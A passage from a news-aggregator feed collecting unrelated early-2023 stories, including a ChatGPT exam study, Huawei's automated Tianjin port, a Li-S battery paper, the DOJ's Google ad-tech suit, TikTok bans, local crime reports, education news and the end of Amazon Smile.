He also turned the chatbot on itself, asking if it could come up with exam questions that do not appear on exams at Wharton, and found it couldsometimes with humorous results. He also notes that while his findings may seem dire, he expects Wharton and other schools will find ways to prevent ChatGPT and others like it from subverting the education processand the business world will likely find a way to put ChatGPT to good use, just as it has done with countless other tools.

More information: Tiffany H. Kung et al, Performance of ChatGPT on USMLE: Potential for AI-Assisted Medical Education Using Large Language Models, medRxiv (2022). DOI: 10.1101/2022.12.19.22283643 Would Chat GPT3 Get a Wharton MBA? A Prediction Based on Its Performance in the Operations

Management Course: mackinstitute.wharton.upenn.ed  rwiesch-Chat-GTP.pdf

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A worker uses a computer terminal to monitor remote operations at a container port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Korean freighter to self-driving trucks in a scene tech giant Huawei sees as its future after American sanctions crushed its smartphone brand.

The backbone of the "smart terminal" at the Tianjin Port, east of Beijing, is a data network built by Huawei, which is reinventing itself as a supplier for self-driving cars, factories and other industries it hopes will be less vulnerable to Washington's worsening feud with Beijing over technology and security.

The ruling Communist Party is promoting automation in industries from manufacturing to taxis to keep China's economy growing as the workforce ages and starts to shrink. Its managers say the "smart terminal," part of Tianjin's 200-square-kilometer (77-square-mile) port, allows 200 employees to move as much cargo as 800 used to.

"We believe this solution in Tianjin is the world's most advanced," said Yue Kun, chief technology officer of Huawei's business unit for ports. "We believe it can be applied to other ports."

Huawei Technologies Ltd., which makes smartphones and is the biggest global supplier of network gear for phone carriers, struggled after then-President Donald Trump cut off access to American processor chips and other technology in 2019 in a feud with Beijing about security.

An automated crane loads a shipping container onto a freighter at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

Washington says Huawei is a security risk that might use its access to foreign phone networks to facilitate Chinese spying, an accusation the company denies. The United States and allies including Japan and Australia have banned or restricted use of Huawei equipment by their phone carriers.

Smartphone sales outside China collapsed after Huawei lost music, maps and other services from Alphabet Inc.'s Google that handset buyers expect to see pre-loaded. Its low-end Honor brand was sold off in 2020 in hopes of reviving sales by separating it from the sanctions on its corporate parent.

Huawei, with a workforce of almost 200,000, has held onto its status as the leading maker of network gear based on sales in China and other markets where Washington has had less success at encouraging governments to shun the company.

"Huawei is already a key player" in data networks with a "wealth of knowledge," said Paul Budde, an industry analyst.

Workers use computer terminals to monitor remote operations at a container port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

The company has created 20 teams to focus on factories, mines, hospitals, ports, power plants and other industrial customers. It says the auto unit has 3,000 people working on autonomous driving and invested $2 billion in the technology in 2020-21. Huawei was an early developer of "smart city" networks for traffic control and police surveillance.

"The big, black cloud here, however, is geopolitics," said Budde. "This will hamper its participation in overseas markets," he said. "The issues are not technology but are purely political."

American pressure on Huawei spiraled into an international standoff in 2018 after its chief financial officer, Meng Wanzhou, daughter of its founder, was arrested in Canada on U.S. charges related to accusations of violating trade sanctions on Iran.

China arrested two Canadians on spying charges, trying to win Meng's release. They were freed in September 2021 after Meng was allowed to return to China under an agreement with American prosecutors in which she took responsibility for misrepresenting Huawei's dealings with Iran.

Driverless trucks move shipping containers at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

Huawei says its new focus already is helping to revive the company's fortunes.

"In 2020, we successfully pulled ourselves out of crisis mode," said Eric Xu, one of three Huawei executives who take turns as chairman, in a December letter to employees. "U.S. restrictions are now our new normal, and we're back to business as usual."

Last year's revenue was forecast to be little-changed from 2021 at 636.9 billion yuan ($91.6 billion), Xu said. That was below Huawei's double-digit growth of a decade earlier but an improvement over the 5.9% slide in the first half.

He gave no breakdown by business line, but Huawei reported 2021 sales to industrial customers of 102.4 billion yuan ($16.1 billion). Sales of smartphones and other devices fell 25.3% from a year earlier in the first half of 2022 to 101.3 billion yuan ($15 billion).

Workers stand on the deck of a freighter near driverless trucks carrying shipping containers at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

The auto unit, which supplies components and software for navigation, dashboard displays and managing vehicle systems, has played a role in five models released by three Chinese automakers.

The ruling party's urgency about rolling out automation has risen as the size of China's working age population 16 to 59 declined after hitting a peak in 2011. That group has shrunk by about 5%. Its share of the population slid from 70% to 62%.

The Tianjin port managers told Huawei they already were having trouble finding and keeping truck drivers, according to Yue.

"This can help to address the aging population issue," said Yue.

Yue said Huawei has talked with "people outside China" who might use its port technology, but he gave no details.

The annual market for port-related network technology is modest at $2 billion, but global sales of gear to link factory and medical equipment, cars and other devices total $600 billion a year, according to Budde. He said that has the potential to replace Huawei's lost smartphone and other telecom sales, so long as foreign buyers aren't put off by security concerns.

A driverless truck moves a shipping container at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

The Tianjin port's fleet of 88 battery-powered autonomous trucks are charged by wind turbines, according to a port spokesman, Peng Pai.

"It's much safer, and it uses clean energy," said Peng.

In a third-floor control room with floor-to-ceiling windows that look out over the port, a dozen operators sit in front of displays with as many as six screens showing video feeds of computer-controlled cranes lifting cargo boxes onto or off ships. Each can monitor as many as six cranes at once, unlike a traditional operator who serves only one ship.

"People had to work high up in cranes," said Yang Jiemin, a vice president of Tianjin Port Group. "Now, our operators can sit in an office and monitor equipment remotely."

Operators take control of a crane or truck if sensors indicate a problem, according to Huawei's Yue. He said the port's goal is to cut that "takeover rate" to 0.1%, or one container in 1,000, while computers manage the handling of the others from start to finish.

Workers wearing face masks use computer terminals to monitor remote operations at a container port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

Driverless trucks move shipping containers at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

An automated crane picks up a shipping container onto a freighter at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

Shipping containers are stacked at a port in Tianjin, China, on Jan. 16, 2023. As technicians in a distant control room watch on display screens, an automated crane at one of China's busiest ports moves cargo containers from a Japanese freighter to self-driving trucks in a scene Chinese tech giant Huawei sees as its future after American sanctions crushed its smartphone brand. Credit: AP Photo/Mark Schiefelbein

The high-speed network allows a crane or truck to react to a command in 1/100th of a second, even though the ships are 500 meters (one-third of a mile) away from the control room, according to Liu Xiwang, manager of the port's information department.

"You can't feel the delay," Liu said.

Yue, the Huawei executive, was reluctant to say whether it needs processor chips or other foreign inputs that might be disrupted by U.S. sanctions.

"I really don't know the answer to your question," Yue said after being asked twice about the sources of critical components. He compared it to buying a cup of coffee: "I don't know who supplies the cup, the coffee beans and the water."

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Credit: Li et al.

To reduce carbon emissions and still meet the growing demands of the electronics industry, scientists will need to develop alternative battery technologies that are more durable, sustainable, and can store more energy. In recent years, they have thus been trying to develop alternative battery technologies using different material combinations.

Among the battery technologies that have proved to be most promising so far are lithium-sulfur (Li-S) batteries, which contain sulfur cathodes and lithium-metal anodes. These batteries could overcome some of the limitations associated with the conversion reactions in lithium-ion batteries (LiBs), ultimately achieving higher energy densities.

Despite their possible advantages, many Li-S battery designs introduced so far have not achieved the desired results. One reason for this is that the sulfur in the batteries needs to be loaded onto a conducting host, which is typically based on materials that were poorly wetted by electrolytes (e.g., most carbons). This impairs the diffusion of lithium ions in the batteries, reducing their overall capacity and performance.

Researchers at University of Cambridge and The Faraday Institution have recently developed highly performing Li-S batteries using nanosheets of lithiated metallic 1T phase molybdenum disulfide (Li x MoS 2 ). Their design, outlined in a paper published in Nature Energy, offers great promise for the creation of next-generation battery solutions that can store more energy.

"Our recent paper is about a new material for Li-S batteries that can lead to superior energy densities," Zhuangnan Li, one of the researchers who carried out the study, told Tech Xplore. "It is based on the metallic phase of two-dimensional material, which our research group has been working on for more than 10 years."

The battery design introduced by Li and his colleagues build on the previous efforts by researchers at University of Cambridge. More specifically, the team has developed highly promising electrodes based on Li x MoS 2 nanosheets to create Li-S batteries that have numerous advantageous properties and characteristics.

"The key point of our design was to use minimum amount of electrolyte while keeping battery operation normal," Li explained. "This requires the sulfur host material to possess properties such as high electrical conductivity, density, wettability, polarity for adsorption, and catalytically activity."

The researchers found that their lithiated nanosheets significantly improved the absorption of lithium polysulfides, while also enhancing the transport of lithium ions, accelerating electrochemical reactions and improving electrocatalytic activity, which supports the conversion of polysulfides in Li-S batteries. Combined, these advantages resulted in remarkable energy densities of 441 Wh kg1 and 735 Wh l1, allowing the batteries to retain 85.2% of their capacity after 200 operating cycles.

"The high-energy and long-life Li-S batteries demonstrated in this work have great potential for the creation of next-generation of energy storage devices," Li added. "We now plan to provide more foundational knowledge and its translation into commercially feasible battery technology."

In initial trials, the new Li-S battery design introduced by this team of researchers achieved highly promising results, suggesting that it could help to achieve better performances and higher energy densities. Li and colleagues are now conducting further evaluations and exploring their technology's possible commercialization.

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Attorney General Merrick Garland, joined by Associate Attorney General Vanita Gupta and Assistant Attorney General Jonathan Kanter of the Justice Department's Antitrust Division, speaks at the Department of Justice in Washington, Tuesday, Jan. 24, 2023. The Justice Department and several states have sued Google, alleging that its dominance in digital advertising harms competition. Credit: AP Photo/Carolyn Kaster

The Justice Department and eight states filed an antitrust suit against Google on Tuesday, seeking to shatter its alleged monopoly on the entire ecosystem of online advertising as a hurtful burden to advertisers, consumers and even the U.S. government.

The government alleges that Google's plan to assert dominance in online ads has been to "neutralize or eliminate" rivals through acquisitions and to force advertisers to use its products by making it difficult to use competitors' offerings. It's part of a new, if slow and halting, push by the U.S. to rein in big tech companies that have enjoyed largely unbridled growth in the past decade and a half.

The antitrust suit was filed in federal court in Alexandria, Virginia. Attorney General Merrick Garland said in a press conference Tuesday that "for 15 years, Google has pursued a course of anti-competitive conduct" that has halted the rise of rival technologies and manipulated the mechanics of online ad auctions to force advertisers and publishers to use its tools.

In so doing, he added, "Google has engaged in exclusionary conduct" that has "severely weakened," if not destroyed, competition in the ad tech industry.

"First, Google controls the technology used by nearly every major website publisher to offer advertising space for sale. Second, Google controls the leading tool used by advertisers to buy that advertising space. And third, Google controls the largest ad exchange that matches publishers and advertisers together each time that ad space is sold," Garland said.

As a result, he added, "website creators earn less and advertisers pay more." And this means fewer publishers can offer their content without subscriptions, paywalls and other fees to make up for revenue.

The department's suit accuses Google of unlawfully monopolizing the way ads are served online by excluding competitors. This includes its 2008 acquisition of DoubleClick, a dominant ad server, and subsequent rollout of technology that locks in the split-second bidding process for ads that get served on web pages.

Google's ad manager lets large publishers who have significant direct sales manage their advertisements. The ad exchange, meanwhile, is a real-time marketplace to buy and sell online display ads.

The lawsuit demands that Google break off three different businesses from its core business of search, YouTube and other products such as Gmail: the buying and selling of ads and ownership of the exchange where that business is transacted.

Digital ads currently account for about 80% of Google's revenue, and by and large support its other, less lucrative endeavors. But the company, along with Facebook's parent company Meta, has seen its market share decline in recent years as smaller rivals grab bigger portions of the online advertising market. On top of that, the overall online ads environment market is cooling off as advertisers clamp down on spending and brace for a potential recession.

Alphabet Inc., Google's parent company, said in a statement that the suit "doubles down on a flawed argument that would slow innovation, raise advertising fees, and make it harder for thousands of small businesses and publishers to grow."

Tuesday's lawsuit comes as the U.S. government is increasingly looking to rein in Big Tech's dominance, although such legal action can take years to complete and Congress has not passed any recent legislation seeking to curb the influence of the tech industry's largest players.

A sign is shown on a Google building at their campus in Mountain View, Calif., on Sept. 24, 2019. The Justice Department and several states sued Google on Tuesday, Jan. 24, 2023, alleging that its dominance in digital advertising harms competition. Credit: AP Photo/Jeff Chiu, File

The European Union has been more active. It launched an antitrust investigation into Google's digital ad dominance in 2021. British and European regulators are also looking into whether an agreement for online display advertising services between Google and Meta breached rules on fair competition.

An internet services trade group that includes Google as a member described the lawsuit and its "radical structural remedies" as unjustified.

Matt Schruers, president of the Computer & Communications Industry Association, said competition for advertising is fierce and the "governments' contention that digital ads aren't in competition with print, broadcast, and outdoor advertising defies reason."

Dina Srinivasan, a Yale University fellow and adtech expert, said the lawsuit is "huge" because it aligns the entire nationstate and federal governmentsin a bipartisan legal offensive against Google.

The current online ad market, Srinivasan said, "is broken and totally inefficient." The fact that intermediaries are getting 30% to 50% of the take on each ad trade is "an insane inefficiency to have baked into the U.S. economy." She called it "a massive tax on the free internet and consumers at large. It directly affects the viability of a free press" as well.

As with many highly complex technical markets, it has taken time for federal and state regulators and policymakers to catch up with and understand the online ad market. Srinivasan noted that it took a decade before they woke up to the perils of high-speed trading in financial markets and began adopting measures to discourage it.

Google held nearly 29% of the U.S. digital advertising marketwhich includes all the ads people see on computers. phones, tablets and other internet-connected devicesin 2022, according to research firm Insider Intelligence. Facebook parent company Meta is second, commanding nearly 20% of the market. Amazon is a distant, but growing, third at more than 11%.

Insider is estimating that both Google and Meta's share of the ad market will decline, while rivals such as Amazon and TikTok are expected to see gains.

This is the latest legal action taken against Google by either the Justice Department or local state governments. In October 2020, for instance, the Trump administration and 11 state attorneys general sued Google for violating antitrust laws, alleging anticompetitive practices in the search and search advertising markets.

Asked why the Justice Department would bring the suit when a similar complaint has already been filed by states, Assistant Attorney General Jonathan Kanter, the department's top antitrust official, said, "We conducted our own investigation, and that investigation occurred over many years." He said the Justice Department lawsuit, totaling roughly 150 pages, details "many facts, many episodes that individually and in the aggregate" reveal numerous monopolies.

Tuesday's lawsuit in essence aligns the Biden administration and new states with the 35 states and District of Colombia that sued Google in December 2020 over the exact same issues.

The states taking part in the suit include California, Virginia, Connecticut, Colorado, New Jersey, New York, Rhode Island and Tennessee.

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Spain's labor ministry issued app-based food delivery company Glovo a new fine of 57 million euros ($62 million) on Tuesday for violating labor laws.

The ministry said that Glovo was being punished for not contracting its riders as employees and for giving gigs to irregular immigrants without work permits.

Last year, Glovo was smacked with a 79 million-euro ($86 million) fine for similar infringements of labor laws.

Labor Minister Yolanda Diaz said that recent legislation specifically targets companies that "repeatedly" break the law.

"No company, no matter how large it is, can act outside the law," Diaz said. "And this is an exemplary case."

In 2021, Diaz successfully championed a new "Riders Law" that classified food delivery riders as employees of the digital platforms they work for, as opposed to self-employed freelancers.

Glovo is a Spanish company that operates in several countries, mostly in Europe.

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The TikTok logo is seen on a cell phone on Oct. 14, 2022, in Boston. On Thursday, Jan. 12, 2023, Wisconsin became the latest state to ban the use of TikTok on state phones and other devices, a move that comes amid a push for a federal ban and after nearly half of the states nationwide have blocked the popular app. Credit: AP Photo/Michael Dwyer, File

The University of Wisconsin System has joined a number of universities across the nation that have banned the popular socail media app TikTok on school-owned devices.

UW System officials made the announcement Tuesday. Multiple schools have banned the app in recent weeks, including Arkansas State, Auburn, Oklahoma, Georgia, Idaho State and Iowa.

Nearly half the states have banned the app on state-owned devices, including Mississippi, Indiana, Louisiana, North Carolina, South Dakota and Wisconsin. Congress also recently banned TikTok from most U.S. government-issued devices over bipartisan concerns about security.

TikTok is owned by ByteDance, a Chinese company that moved its headquarters to Singapore in 2020. It has been targeted by critics who say the Chinese government could access user data, such as browsing history and location. U.S. armed forces also have prohibited the app on military devices.

TikTok is consumed by two-thirds of American teens and has become the second-most popular domain in the world. But there's long been bipartisan concern in Washington that Beijing would use legal and regulatory power to seize American user data or try to push pro-China narratives or misinformation.

Here's a look at the broader debate over TikTok:

___

WHAT ARE THE CONCERNS ABOUT TIKTOK?

Both the FBI and the Federal Communications Commission have warned that TikTok user data could be shared by owner ByteDance Ltd. with China's authoritarian government. U.S. officials also worry that the Chinese government might use TikTok to push pro-China narratives or misinformation.

Fears were stoked by news reports last year that a China-based team improperly accessed data of U.S. TikTok users, including two journalists, as part of a covert surveillance program to ferret out the source of leaks to the press.

There are also concerns that the company is sending masses of user data to China, in breach of stringent European privacy rules.

Additionally, there's been concern about TikTok's content and whether it harms teenagers' mental health.

___

WHO HAS PUSHED FOR RESTRICTIONS?

In 2020, then-President Donald Trump and his administration sought to ban dealings with TikTok's owner, force it to sell off its U.S. assets and remove it from app stores. Courts blocked Trump's efforts to ban TikTok, and President Joe Biden rescinded Trump's orders after taking office but ordered an in-depth study of the issue. A planned sale of TikTok's U.S. assets was shelved.

In Congress, concern about the app has been bipartisan. Congress last month banned TikTok from most U.S. government-issued devices over bipartisan concerns about security.

The Senate in December approved a version of the TikTok ban authored by conservative Republican Sen. Josh Hawley of Missouri, a vocal critic of big tech companies.

But Democratic U.S. Rep. Raja Krishnamoorthi, of Illinois has co-sponsored legislation to prohibit TikTok from operating in the U.S. altogether, and the measure approved by Congress in December had the support of Democratic U.S. House Speaker Nancy Pelosi.

___

WHAT DOES TIKTOK SAY?

"We're disappointed that so many states are jumping on the political bandwagon to enact policies that will do nothing to advance cybersecurity in their states and are based on unfounded falsehoods about TikTok," Jamal Brown, a spokesperson for TikTok, said in an emailed statement.

TikTok is developing security and data privacy plans as part of an ongoing national security review by President Joe Biden's administration.

 2023 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Wrestling January 24, 2023 Virginia Tech's Smith Named ACC Wrestler of the Week

GREENSBORO, N.C. (theACC.com)  Virginia Tech redshirt sophomore Andy Smith has been named the Atlantic Coast Conference Wrestler of the Week following his upset victory at 197 pounds in last Friday nights top-10 showdown between the No. 8 Hokies and visiting No. 5 NC State.



Smith, ranked No. 26 nationally, scored a 3-2 win over the Wolfpacks No.6 -ranked Isaac Trumble that proved pivotal as Virginia Tech posted a 16-14 team victory in the conference dual opener for both teams.



With a Cassell Coliseum wrestling record crowd of 5,943 looking on and 40 seconds remaining in the third period, a counter by Smith snapped a 1-1 tie and gave the native of nearby Christiansburg, Virginia, a 3-1 lead. Trumble followed with an escape and looked to attack, but Smith held on for the 3-2 decision and a 16-11 Virginia Tech edge in the team scoring that ultimately proved to be enough.



Virginia Tech will take part in the Friday Night Duals on ACC Network for the second consecutive week this Friday night when it plays host to early league co-leader Pitt. North Carolina, which joined the Hokies and Panthers in winning its opening ACC dual last week, plays host to Virginia, while NC State is home versus Duke.



All three of this Friday nights matches are set for 7 p.m. starts.



Prior to Friday nights contest, Duke is scheduled to visit Appalachian State on Tuesday night at 7 for the lone non-conference match this week involving an ACC team.
Country

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Israel Trautman, a 19-year-old Grand Island man, was sentenced earlier this month to 25 to 50 years in prison for first-degree sexual assault.

Hall County District Court Judge Patrick Lee issued the sentence on Jan. 6.

The crime was committed on Oct. 1, 2020.

Trautman was also found guilty of three counts of visual depiction of sexually explicit conduct. For each count, he was sentenced to three to four years.

In addition, Trautman was determined to be guilty of four counts of child abuse, for which he was given two to three years each.

Those crimes were committed in 2022.

The sentences will be served consecutively. Trautman was given credit for 191 days already served.

Grand Island police reported in July of 2022 that Trautman had been arrested for possessing and threatening to publicly share sexually explicit photos of 11 females, who were between the ages of 13 and 18.

Police said that in some cases Trautman did post some of the photos on public social media platforms.

Of the 11 victims listed in the GIPD news media report, five of the females were 17, two were 15, two were 14 and the others were were 13 and 18.

Trautman was arrested on June 1, 2022, in relation to an alleged case of human sex trafficking of a minor and visual depiction of explicit conduct in relation to receiving or soliciting images of a minor. After that arrest, a search warrant was obtained for Trautmans residence, including electronic devices.

Ten counts of human trafficking of a minor were dismissed. Also dismissed were two counts of visual depiction of sexually explicit conduct.

The case was prosecuted by Deputy Hall County Attorney Matthew Works. Trautman was defended by Deputy Hall County Public Defender Keith Smith.
Competency-Based Education

Aurora Institute Invites Curious Educators to a One-Hour Overview of CBE Model

Education nonprofit Aurora Institute will hold a free one-hour Intro to CBE webinar on Wednesday, Jan. 25, intended for K12 educators and administrators curious about the foundations of competency-based education: what is CBE as a model of public education; how CBE culture, pedagogy, and structure can center students and equity, and what policies and practices are needed to enable educators to consider using the CBE model in their classrooms.

The webinar will begin at 3 p.m. EST Jan. 25; presenters will include the institutes Competency Works Program Director Laurie Gagnon; an administrator from the Harrisburg (South Dakota) School District about their implementation of CBE; and students attending CBE-based public schools.

Register at https://bit.ly/CBE-aurora-webinar. Learn more at Aurora-Institute.org.
Expert Viewpoint

Schools Must Adopt the Science of Math

Its Time to Bring a Research-Based Emphasis on Schema, Not Just Skills, to Every Math Classroom

The National Assessment of Educational Progress recently released the Nations Report Card for 2022, revealing a five-point drop in average scores for 4th grade and eight points for 5th gradethe lowest theyve been since 2003 and 2005, respectively. Much of that slide is a result of learning disruptions caused by COVID-19, but American students weren't excelling at math before the pandemic, either. For approximately 20 years, the Programme for International Student Assessment has found American students sit, on average, in the middle of the pack when compared to their peers in other countries.

Now that the learning disruptions from the pandemic are mostly fading into the background, schools can't just return to normal to bring students back up to speed. Normal wasn't working before, and it's certainly not good enough to recover from a multi-year academic crisis.

Fortunately, researchers have a strong understanding of how people learn math, just as they did with the now widely accepted science of reading. However, that understanding is taking too long to filter into classroom instruction.

Letting Students Learn by Doing

I was a classroom mathematics teacher for many years, and I've been guilty of standing at the front of the classroom and talking too much. I assumed that if I was saying something, the students were learning it. I thought my role was to take the knowledge in my head and try to put it into theirs. I spent a lot of time asking myself, "How do we teach?"

Eventually I realized this was the wrong question. It was centered on me, the teacher, rather than the students, who were passive recipients in my model.

The more effective question is, "How do students learn?" The answer is that they don't learn by being told. They learn most effectively by doing, by grappling with tantalizingly tricky problems, trying to figure out an answer, sometimes getting it wrong, and then trying again with the new information their failure provided.

Visual math challenges are a powerful way to implement this more effective learning model at scale, and for students to learn by doing. Imagine that you have to move a character from one side of a screen to another. On the left theres a penguin atop a stack of boxes about to be pushed from left to right. On the way theres a pit where some of the boxes will fill in. As a student, you have to choose the height of a platform on the right onto which the penguin must walk safely.

That is a visual model of subtraction. As students try to figure out how to solve the challenge, manipulate the model, and observe the outcomes of their actions, a fascinating process called the perception-action cycle is working in their brains. All mammals use the perception-action cycle. It's how rats learn to navigate mazes and one of the key neural mechanisms that humans use to learn every day.

Building and Dismantling Schema

When humans look at a challenge like the one with the penguin and the boxes and begin thinking about how to solve it, our brains unconsciously begin firing up various schema: predicted outcomes that are already in our heads based on our prior experiences and learning. The most powerful schema will win out and become the prediction that we make about solving that challenge.

Once we put our prediction into action and test it as a solution, that winning schema is held in our hippocampus like a vision as we observe the results to compare against the reality we see playing out before us. If we were correct, our prediction matches reality and the hippocampus floods chemicals back along the neural pathways of that successful schema to reinforce it. This makes it bigger, stronger, more connected to other ideas and information in our brains, which basically are saying, "Wow, that works." Next time we see a similar problem, that schema will be even more powerful and likely to win out.

If we got the prediction wrong, however, the hippocampus will send different chemicals back along the unsuccessful schema, weakening it. As we see for ourselves that our prediction failed, the misconception behind it is tamped down and weakened.

Schemas and Equitable Acceleration

To help you understand what it feels like when a schema is shifted in your head, I'll share a joke. Why do people go to the mall? Take a second to think of an answer before you read on to the punchline.

Why go to one store when you can go to them all? Perhaps you groaned rather than laughing, but that feeling when the context in your head shifted from "the mall" to "them all" is a result of the fact that those two phrases are connected to different schema, sets of information and ideas.

Most jokes work like this through some kind of "schema shifting," which for some reason we respond to by laughing. But this humor also helps to reveal something crucial about how information is stored in our brains, and why the way educators typically try to help students catch up academically is not very effective.

A widely held  yet incorrect  belief has it that mathematical ideas are saved in our minds like a list, each distinct from the rest. So when an educator sees that a student is not proficient at certain grade-level skills, the typical response is to focus on those weaker skills, practicing them using worksheets or some kind of online practice program, to try and get these ideas into the student's head. But the problem isn't just that those skills are missing. The problem is that the relationships and connections between those skills are off somehow  the underlying schema is missing!

The solution, then, is to focus on building schema not skills, to help students better understand how these different ideas relate to one another. This is more effective partly because when students learn ideas as connected schema, they are learning the framework into which all the facts and skills fit, and this allows the learning to stick.

Without the schema, skills are learned in a shallow way, which leads to students quickly forgetting them, which is why skills-based remediation is so ineffective. Lessons that focus on building critical mathematical schema can address multiple skill deficiencies.
School-Home Communications

ParentSquare Launches Smart Sites, Acquires Gabbart Comm

School-home communications provider ParentSquare has acquired Gabbart Communications, the developer of the Harmony content management system and the Campus Life app for parent and community engagement.

The acquisition has resulted in an integrated school website solution called Smart Sites, launched yesterday by ParentSquare. Smart Sites offers content management that requires no coding or HTML skills and the ability to publish posts and alerts across multiple outlets, including email, social media, text, voice, apps, and web pages.

According to ParentSquare: "Smart Sites users can add information to ParentSquare and have the module automatically furnish the new information on their website and in social media posts and messages to families and community members, ensuring content consistency."

We are always thinking about how we can deliver new ways to help build relationships between schools and families, ParentSquare President and Founder Anupama Vaid said in a prepared statement. Weve seen a trend of districts wanting to engage with parents and the community on all platforms and channels. And we also saw the need for a combined solution that would enable efficient messaging across those myriad platforms and channels. This acquisition is our response. Gabbart Communications has deep expertise in school websites, branding, and a culture of creating community. We are excited to bring our two organizations together, creating the first fully integrated platform for communication to schools and districts nationwide.

Further details can be found on ParentSquare's site.
A 20-year-old was arrested in connection with an armed robbery at a bank ATM in Meriden on Saturday, police said.

The Meriden Police Department responded to Carl Street on Saturday for a report of a suspicious vehicle in the area. When officers arrived, they were flagged down by a man who reported that he was robbed at gunpoint.

The man told police that he was robbed while making a deposit at the Wells Fargo Bank on Centennial Ave. He gave police a description of the vehicle involved, which matched the description of the suspicious vehicle that was called in by a concerned citizen. Officers quickly located the vehicle and pulled it over.

Officers determined that two suspects exited the suspect vehicle, committed the robbery and fled on foot as police were arriving in the area. They had not been arrested as of Monday afternoon.

The driver of the suspect vehicle was identified as 20-year-old Jovanny Spangler. He was arrested in connection with the incident and charged with second-degree robbery and conspiracy to commit second-degree robbery. He was released from police custody on a $75,000 bond. He is scheduled to appear in Meriden Superior Court on March 6.

Meriden police are also investigating a robbery that happened at a Bank of America ATM on East Main Street on Friday. A man reported that his car was stolen at gunpoint by two men who approached him while he was at the ATM. No injuries were reported in the incident.

Meriden Lt. Darrin McKay said the department believes the two incidents are unrelated.

Members of the Meriden Police Department would like to remind the public to be aware of their surroundings while utilizing ATMs, especially during the after-hours, the Meriden police wrote in a Facebook post. If suspicious activity is observed while banking, please contact the police.

The incident is under investigation and anyone with information is asked to contact detectives at 203-630-6280.
The pending discontinuation of Amazon Smile  the online giants charitable giving program  is bringing a frown to the faces of local nonprofit leaders.

Amazon announced in emails to participating organizations that it would shutter the Smile program by the end of February, opting instead to make larger contributions to fewer charities.

In an email to participating groups, the company explained the change in direction.

After almost a decade of running Amazon Smile, we learned that with so many eligible organizations  more than 1 million globally  our ability to have an impact was often spread too thin, the email read.

Amazon said it is looking to invest in specific areas and focus our philanthropic efforts in the communities where our employees live and work.

With Amazon Smile, supporters of participating not-for-profit earned contributions for their selected group with each purchase on the website after selecting an organization to benefit. Amazon made donations equal to 0.5% of purchases to the charities.

It was a program that allowed a certain percentage of your purchases to go back to a nonprofit of your choice, explained Byram Fager, CEO and executive director of the Southern Illinois Community Foundation, a network of dozen of not-for-profit organizations in the region. I think when it first started, a lot of non-profits thought it would be an easy, big fundraiser, but I dont think it ever became huge for one individual non-profit in our area.

Diane Daugherty, president of St. Francis CARE Community Animal Rescue and Education, said her organization received the equivalent of about $100 each month through Amazon Smile.

Their percentage of giving back is pretty small compared to other programs, she explained. We had hundreds and hundreds of people that designated us as their Amazon Smile charity. As an organization, all you had to do was get your people to register and every time they bought something, you got a couple of pennies. It wasnt a lot of money, but it adds up. It has been important to us and we hate to lose it.

Daugherty said St. Francis CARE is asking its Amazon Smile participants to consider supporting the shelter through other business charitable giving programs such as those through Kroger and the SIU Credit Union.

Cassie Walden of Clarity Womens Care said the cancelation of the charitable program means that her organizations donors will have to find other ways to give support.

Our supports will still continue to give, even if it is not through Amazon, she said. This was not one of our main sources of income, so Im sure well continue to be blessed.

Daugherty said she is saddened by Amazons decision.

Without trying to be too negative, as much money as they make, I think supporting the not-for-profits was a really good thing. Im very disappointed that they are taking it away, she said.

Amazon indicated that because of the short-notice given about the programs end, it would provide a one-time payment equal to three months of donations based on 2022 revenue.
The mailbox for Shannon Gardners fourth grade classroom at Carruthers School in Murphysboro is especially full these days  and her students are excited about it.

A few weeks ago, Gardner put out the call on social media for people to send Valentines Day cards to her students. The goal was to try to receive cards from all 50 states and as many nations as possible. So far, the class is well on its way. In fact, Tuesdays mail included 33 cards.

Not only is the class receiving cards from places all across the country, but a few international cards are arriving as well, Gardner said.

Weve received a couple from Canada and today we got some from Turks and Caicos, Gardner explained. Were starting to fill in our map. Were coloring in our map as we get cards.

She said her students are excited and with each card received, the class gets a small lesson in geography.

